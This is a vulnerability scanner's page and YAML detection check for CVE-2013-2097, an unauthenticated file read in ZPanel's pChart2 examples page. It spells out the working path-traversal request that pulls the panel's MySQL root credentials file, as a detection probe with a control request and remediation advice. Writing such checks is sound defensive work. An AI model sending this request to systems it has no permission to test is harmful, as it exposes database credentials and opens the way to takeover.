ZPanel — 1 vulnerability check
noctis ships 1 vulnerability check for ZPanel, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ZPanel pChart2 Examples Arbitrary File Read
| CVE | CVE-2013-2097 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/zpanel/CVE-2013-2097.yaml |
Tests ZPanel for the unauthenticated arbitrary file read in the pChart 2 examples page bundled with the panel (etc/lib/pChart2/examples/index.php), whose "View" action prints the highlighted source of any file named in the Script parameter. The feed asks that page, under the web root and the usual /zpanel and /panel paths, for ../../../../cnf/db.php, the panel's database configuration file, and reports the host when the reply holds that file's "Database configuration file" header and its $user and $pass settings. A control request for an absent random file must not return the same content, so a server that answers every request with that file is not reported. The file holds the MySQL root password: the feed never copies the reply into the finding.
How noctis detects it
- HTTP(S) request
GET {{dir}}/etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php - Checks
db_r.bodyfor(?s)Database(?:\s| )+configuration(?:\s| )+file\b.*?\$user\… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php.… - Checks
ctrl_r.bodyfor(?s)Database(?:\s| )+configuration(?:\s| )+file\b.*?\$user\… - Checks
prooffor^cnf/db\.php$→ finding QoD 75: ZPanel pChart2 Examples Arbitrary File Read (CVE-2013-2097)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-2097
- http://packetstormsecurity.com/files/134030/Zpanel-10.1.0-Remote-Unauthenticated-Code-Execution.html
- http://www.openwall.com/lists/oss-security/2013/05/16/12
- http://www.securityfocus.com/bid/59284
Feed source — tests/vulnerabilities/zpanel/CVE-2013-2097.yaml
# ZPanel <= 10.1.0 pChart2 examples arbitrary file read — CVE-2013-2097
#
# ZPanel bundles the pChart 2 library together with its examples directory.
# etc/lib/pChart2/examples/index.php starts with
# if (isset($_GET["Action"])) { $Script = $_GET["Script"]; highlight_file($Script); exit(); }
# so any unauthenticated visitor gets the syntax-highlighted source of any
# file PHP can read. The public exploit (packetstorm 134030) reads
# ../../../../cnf/db.php, the panel's MySQL root account, and turns it into
# code execution; NVD files that chain under CVE-2013-2097.
#
# Detection (benign, read-only): GET
# <dir>/etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php
# and require the header comment "Database configuration file" followed by the
# $user and $pass assignments of that file in the reply. QoD 75 (response
# analysis). "../" sits in the query string, which http_request sends verbatim.
#
# Improvements over the source NASL:
# - The NASL only runs where its ZPanel product detection found the panel;
# the feed probes the web root and the /zpanel and /panel paths directly.
# - The NASL's markers are matched on the raw reply after an
# replacement only; the feed accepts both highlight_file() markups (PHP 5/7
# " "/"<br />" and PHP >= 8.3 plain spaces in <pre>), and requires
# the three markers in the file's order ($user/$pass as whole names).
# - A control request (same parameter, absent random file whose name still
# contains cnf/db.php) must come back WITHOUT the database file; a server
# that returns the same content on every request is therefore not reported
# (fail-closed: no control reply → no finding).
# - The reply carries the MySQL root password: the match step keeps no
# on_match, so neither the body nor the password reaches the finding.
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_zpanel_59284.nasl (GPL-2.0-only).
uid: 5569aba1-037a-4bbf-8ed7-f965eee092ea
name: "ZPanel pChart2 Examples Arbitrary File Read (CVE-2013-2097)"
description: |
Tests ZPanel for the unauthenticated arbitrary file read in the pChart 2
examples page bundled with the panel (etc/lib/pChart2/examples/index.php),
whose "View" action prints the highlighted source of any file named in the
Script parameter. The feed asks that page, under the web root and the usual
/zpanel and /panel paths, for ../../../../cnf/db.php, the panel's database
configuration file, and reports the host when the reply holds that file's
"Database configuration file" header and its $user and $pass settings. A
control request for an absent random file must not return the same content,
so a server that answers every request with that file is not reported. The
file holds the MySQL root password: the feed never copies the reply into
the finding.
cves: [CVE-2013-2097]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [zpanel, pchart, file-read, path-traversal, information-disclosure, credentials, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-2097"
- "http://packetstormsecurity.com/files/134030/Zpanel-10.1.0-Remote-Unauthenticated-Code-Execution.html"
- "http://www.openwall.com/lists/oss-security/2013/05/16/12"
- "http://www.securityfocus.com/bid/59284"
# OpenVAS/Greenbone NASL 2015/gb_zpanel_59284.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install dir. Each pass
# resets the values it reads, so nothing is left over from the previous dir.
- id: init-db-r
action: set_var
var_name: db_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/zpanel", "/panel"]
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: read-db-php
action: http_request
method: GET
path: "{{dir}}/etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: db_r
# No on_match: the body holds the MySQL root password and must not become
# evidence. Both highlight_file() markups: " "/"<br />" (PHP < 8.3)
# and plain spaces/newlines (PHP >= 8.3).
- id: db-php-content
action: match
source: db_r.body
pattern: "(?s)Database(?:\\s| )+configuration(?:\\s| )+file\\b.*?\\$user\\b.*?\\$pass\\b"
store_as: db_m
- id: db-php-verdict
action: script
code: |
if db_m.matched { "cnf/db.php" } else { "" }
store_as: proof
# ── Control: same parameter, absent random file — must NOT carry the file ─
# The absent name still contains cnf/db.php, so a honeypot that keys a fake
# file on that substring answers it too.
- id: control
action: http_request
method: GET
path: "{{dir}}/etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php.noctis-absent-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?s)Database(?:\\s| )+configuration(?:\\s| )+file\\b.*?\\$user\\b.*?\\$pass\\b"
condition: 'proof != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: proof
pattern: "^cnf/db\\.php$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "ZPanel pChart2 Examples Arbitrary File Read (CVE-2013-2097)"
description: "An unauthenticated request to the pChart 2 examples page bundled with ZPanel returned the source of the panel's database configuration file (cnf/db.php), which holds the MySQL root credentials, while the same request for an absent file did not."
remediation: "Delete the etc/lib/pChart2/examples directory from the ZPanel installation (or deny web access to it) and change the MySQL root password, which must be considered disclosed. ZPanel is no longer maintained: migrate to a supported control panel."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php returned the database configuration file ($user/$pass settings, values withheld); control for an absent file returned no file content"
stop: true